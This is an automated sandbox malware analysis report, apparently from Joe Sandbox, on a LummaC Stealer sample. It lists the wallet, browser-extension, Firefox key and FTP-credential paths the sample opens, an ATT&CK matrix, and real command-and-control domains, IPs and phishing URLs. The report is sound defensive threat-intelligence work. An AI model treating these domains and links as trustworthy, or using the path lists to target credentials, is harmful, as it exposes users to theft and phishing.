Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	32 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	211 Process Injection	1 DLL Side-Loading	NTDS	221 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Valid Accounts	Cached Domain Credentials	231 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	231 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	211 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
random.exe	18%	ReversingLabs
random.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://aliveindu.click/A	0%	Avira URL Cloud	safe
https://aliveindu.click/	0%	Avira URL Cloud	safe
https://aliveindu.click/Pk	0%	Avira URL Cloud	safe
cloudewahsj.shop	100%	Avira URL Cloud	malware
https://aliveindu.click:443/apil	0%	Avira URL Cloud	safe
rabidcowse.shop	100%	Avira URL Cloud	malware
http://www.microsoft.cox	0%	Avira URL Cloud	safe
wholersorie.shop	100%	Avira URL Cloud	malware
fancywaxxers.shop	100%	Avira URL Cloud	malware
https://aliveindu.click/piF	0%	Avira URL Cloud	safe
nearycrepso.shop	100%	Avira URL Cloud	malware
https://www.anon.com/frit/asfta.dara	0%	Avira URL Cloud	safe
noisycuttej.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/api	100%	Avira URL Cloud	malware
https://aliveindu.click:443/apizchhhv.default-release/key4.dbPK	0%	Avira URL Cloud	safe
https://fancywaxxers.shop/qw	100%	Avira URL Cloud	malware
https://aliveindu.click/api	0%	Avira URL Cloud	safe
framekgirus.shop	100%	Avira URL Cloud	malware
https://fancywaxxers.shop/	100%	Avira URL Cloud	malware
https://aliveindu.click/s	0%	Avira URL Cloud	safe
https://aliveindu.click/apiEC	0%	Avira URL Cloud	safe
abruptyopsn.shop	100%	Avira URL Cloud	malware
tirepublicerj.shop	100%	Avira URL Cloud	malware
https://aliveindu.click:443/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fancywaxxers.shop	104.21.48.1	true	true	unknown
aliveindu.click	104.21.64.143	true	true	unknown
i.ibb.co	169.197.85.95	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	true	Avira URL Cloud: malware	unknown
https://i.ibb.co/xLJXQ55/mamasafa-Final.webp	false		high
wholersorie.shop	true	Avira URL Cloud: malware	unknown
fancywaxxers.shop	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	true	Avira URL Cloud: malware	unknown
noisycuttej.shop	true	Avira URL Cloud: malware	unknown
https://aliveindu.click/api	true	Avira URL Cloud: safe	unknown
nearycrepso.shop	true	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/api	true	Avira URL Cloud: malware	unknown
framekgirus.shop	true	Avira URL Cloud: malware	unknown
tirepublicerj.shop	true	Avira URL Cloud: malware	unknown
abruptyopsn.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://aliveindu.click/A	AddInProcess32.exe, 00000007.00000002.3012569421.00000000037D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aliveindu.click/piF	AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.microsoft.cox	random.exe, 00000000.00000002.2847199286.0000000006300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aliveindu.click:443/apil	AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aliveindu.click/Pk	AddInProcess32.exe, 00000007.00000002.3012569421.00000000037D9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://purl.oen	random.exe, 00000000.00000002.2855874383.000000000A5FA000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2933505940.000000000AB91000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aliveindu.click/	AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://i.ibb.co	random.exe, 00000000.00000002.2827300089.0000000002771000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2910748475.0000000003141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aliveindu.click:443/apizchhhv.default-release/key4.dbPK	AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.anon.com/frit/asfta.dara	random.exe, 00000000.00000002.2835225821.0000000004035000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000002.2852050299.0000000007CA0000.00000004.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fancywaxxers.shop/qw	AddInProcess32.exe, 00000006.00000002.2924472845.00000000010B5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://fancywaxxers.shop/	AddInProcess32.exe, 00000006.00000002.2924472845.00000000010B5000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2923240627.0000000001039000.00000004.00000020.00020000.00000000.sdmp, AddInProcess32.exe, 00000006.00000002.2925689174.00000000036CB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	random.exe, 00000000.00000002.2827300089.0000000002771000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000003.00000002.2910748475.0000000003141000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aliveindu.click/s	AddInProcess32.exe, 00000007.00000002.3011807434.0000000001375000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aliveindu.click/apiEC	AddInProcess32.exe, 00000007.00000002.3011098104.00000000012FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aliveindu.click:443/api	AddInProcess32.exe, 00000007.00000002.3011098104.00000000012E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	fancywaxxers.shop	United States	13335	CLOUDFLARENETUS	true
104.21.64.143	aliveindu.click	United States	13335	CLOUDFLARENETUS	true
169.197.85.95	i.ibb.co	United States	26548	PUREVOLTAGE-INCUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582440
Start date and time:	2024-12-30 16:16:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/2@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 88% Number of executed functions: 160 Number of non-executed functions: 63
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 172.202.163.200, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: random.exe

Simulations

Behavior and APIs

Time	Type	Description
10:16:53	API Interceptor	120469x Sleep call for process: random.exe modified
10:17:40	API Interceptor	49x Sleep call for process: AddInProcess32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/
169.197.85.95	https://customization-connect-7617.my.salesforce.com/sfc/p/d3000000Byor/a/d300000000RR/ML8ajzoJU6aJIvGQZGZ6S9rRHpaD1XaytKzcNGEf56g	Get hash	malicious	HTMLPhisher	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse
	TJXpRilNkh.exe	Get hash	malicious	XWorm	Browse
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse
	index.html	Get hash	malicious	Unknown	Browse
	index.html	Get hash	malicious	Unknown	Browse
	r8k29DBraE.exe	Get hash	malicious	XWorm	Browse
	https://meaoee-fc3f.elamzioehr.workers.dev/	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
i.ibb.co	Fatura227Pendente576.pdf674.msi	Get hash	malicious	Unknown	Browse	91.134.82.79
	yoyf.exe	Get hash	malicious	Unknown	Browse	91.134.10.127
	yoyf.exe	Get hash	malicious	Unknown	Browse	91.134.10.182
	FINAL_PDF.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	Filezilla.exe	Get hash	malicious	Unknown	Browse	91.134.10.127
	cv.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	Filezilla-stage2.exe	Get hash	malicious	Unknown	Browse	91.134.10.168
	https://rnicrosoft-secured-office.squarespace.com/sharepoint?e=test@test.com.au	Get hash	malicious	HTMLPhisher	Browse	91.134.82.79
	https://dsiete.co/share.html	Get hash	malicious	HTMLPhisher	Browse	91.134.9.160
	msedge.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	91.134.9.160
fancywaxxers.shop	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	R3nz_Loader.exe	Get hash	malicious	LummaC	Browse	104.21.32.1
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.80.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUREVOLTAGE-INCUS	https://customization-connect-7617.my.salesforce.com/sfc/p/d3000000Byor/a/d300000000RR/ML8ajzoJU6aJIvGQZGZ6S9rRHpaD1XaytKzcNGEf56g	Get hash	malicious	HTMLPhisher	Browse	169.197.85.95
	main.exe	Get hash	malicious	Unknown	Browse	169.197.85.95
	https://www.phsinc.com/?bwfan-track-action=click&bwfan-track-id=0ecdd1bdf2276cad3fa2d27ffa918e84&bwfan-uid=e2dffed46dd69d19d18bc527d6255bd5&bwfan-link=%68%74%74%70%73%3A%2F%2F%6D%61%69%6C%2E%72%69%67%6F%74%69%6C%65%73%2E%63%6F%6D%2F%6A%50%73%51%57%55%63%42	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	169.197.85.95
	TJXpRilNkh.exe	Get hash	malicious	XWorm	Browse	169.197.85.95
	https://inspyrehomedesign.com	Get hash	malicious	NetSupport RAT	Browse	169.197.85.95
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	169.197.85.95
	index.html	Get hash	malicious	Unknown	Browse	169.197.85.95
	index.html	Get hash	malicious	Unknown	Browse	169.197.85.95
	r8k29DBraE.exe	Get hash	malicious	XWorm	Browse	169.197.85.95
	https://ducati-mlbb.shop/	Get hash	malicious	HTMLPhisher	Browse	162.249.168.129
CLOUDFLARENETUS	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://chase.com-onlinebanking.com/XWmJkMGsxak5lZzdVZUczR3RxTGFWN1g0Q2NKLy96RURPVEpZbEdkOC9nQzY1TStZSjU0T0x4Q05qOXZBRHZnZTZpMmh2eGFmSm9rcVRmV2xBeENiMEF1V3VTOVAvL2dKemVQZkZGNHAxQ1hqTU9WY0R5SGpYeDQ3UVNtNGZpWDJYdWxBUFY5OUFVc3VFU041aHl6aUxrMlBZaGs1Y25BV0xHL1Vhc1BYNVQ5d3laZ2piV3gvTjlUMmc3QWV4QUs2Q0h6Yi0tZ1lEV1pac1JHRzl5ZFpFaC0tcVVpc09xQzZsUzY0bzY0YWpuS1N2Zz09?cid=2342337857	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	172.67.148.118
	https://aiihsr.com/FloridaCU	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://flowto.it/8tooc2sec?fc=0	Get hash	malicious	Unknown	Browse	104.18.35.227
	https://btrhbfeojofxcpxuwnsp5h7h22htohw4btqegnxatocbkgdlfiawhyid.at	Get hash	malicious	Unknown	Browse	104.21.20.126
	https://btrhbfeojofxcpxuwnsp5h7h22htohw4btqegnxatocbkgdlfiawhyid.at	Get hash	malicious	Unknown	Browse	172.67.192.228
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	104.21.18.19
CLOUDFLARENETUS	https://tepco-jp-lin;.%5Dshop/co/tepco	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://chase.com-onlinebanking.com/XWmJkMGsxak5lZzdVZUczR3RxTGFWN1g0Q2NKLy96RURPVEpZbEdkOC9nQzY1TStZSjU0T0x4Q05qOXZBRHZnZTZpMmh2eGFmSm9rcVRmV2xBeENiMEF1V3VTOVAvL2dKemVQZkZGNHAxQ1hqTU9WY0R5SGpYeDQ3UVNtNGZpWDJYdWxBUFY5OUFVc3VFU041aHl6aUxrMlBZaGs1Y25BV0xHL1Vhc1BYNVQ5d3laZ2piV3gvTjlUMmc3QWV4QUs2Q0h6Yi0tZ1lEV1pac1JHRzl5ZFpFaC0tcVVpc09xQzZsUzY0bzY0YWpuS1N2Zz09?cid=2342337857	Get hash	malicious	KnowBe4	Browse	104.18.87.62
	BHgwhz3lGN.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	UmotQ1qjLq.exe	Get hash	malicious	LummaC	Browse	104.21.96.1
	PI1EA8P74K.exe	Get hash	malicious	LummaC	Browse	172.67.148.118
	https://aiihsr.com/FloridaCU	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://flowto.it/8tooc2sec?fc=0	Get hash	malicious	Unknown	Browse	104.18.35.227
	https://btrhbfeojofxcpxuwnsp5h7h22htohw4btqegnxatocbkgdlfiawhyid.at	Get hash	malicious	Unknown	Browse	104.21.20.126
	https://btrhbfeojofxcpxuwnsp5h7h22htohw4btqegnxatocbkgdlfiawhyid.at	Get hash	malicious	Unknown	Browse	172.67.192.228
	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	104.21.18.19

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	eXbhgU9.exe	Get hash	malicious	LummaC	Browse	169.197.85.95
	Supplier.bat	Get hash	malicious	Unknown	Browse	169.197.85.95
	Supplier.bat	Get hash	malicious	LodaRAT, XRed	Browse	169.197.85.95
	NEW-DRAWING-SHEET.bat	Get hash	malicious	Unknown	Browse	169.197.85.95
	Requested Documentation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	169.197.85.95
	lumma.ps1	Get hash	malicious	LummaC	Browse	169.197.85.95
	GPU-Z.exe	Get hash	malicious	LummaC, DarkTortilla, LummaC Stealer	Browse	169.197.85.95
	Winter.mp4.hta	Get hash	malicious	LummaC	Browse	169.197.85.95
	aYu936prD4.exe	Get hash	malicious	Unknown	Browse	169.197.85.95
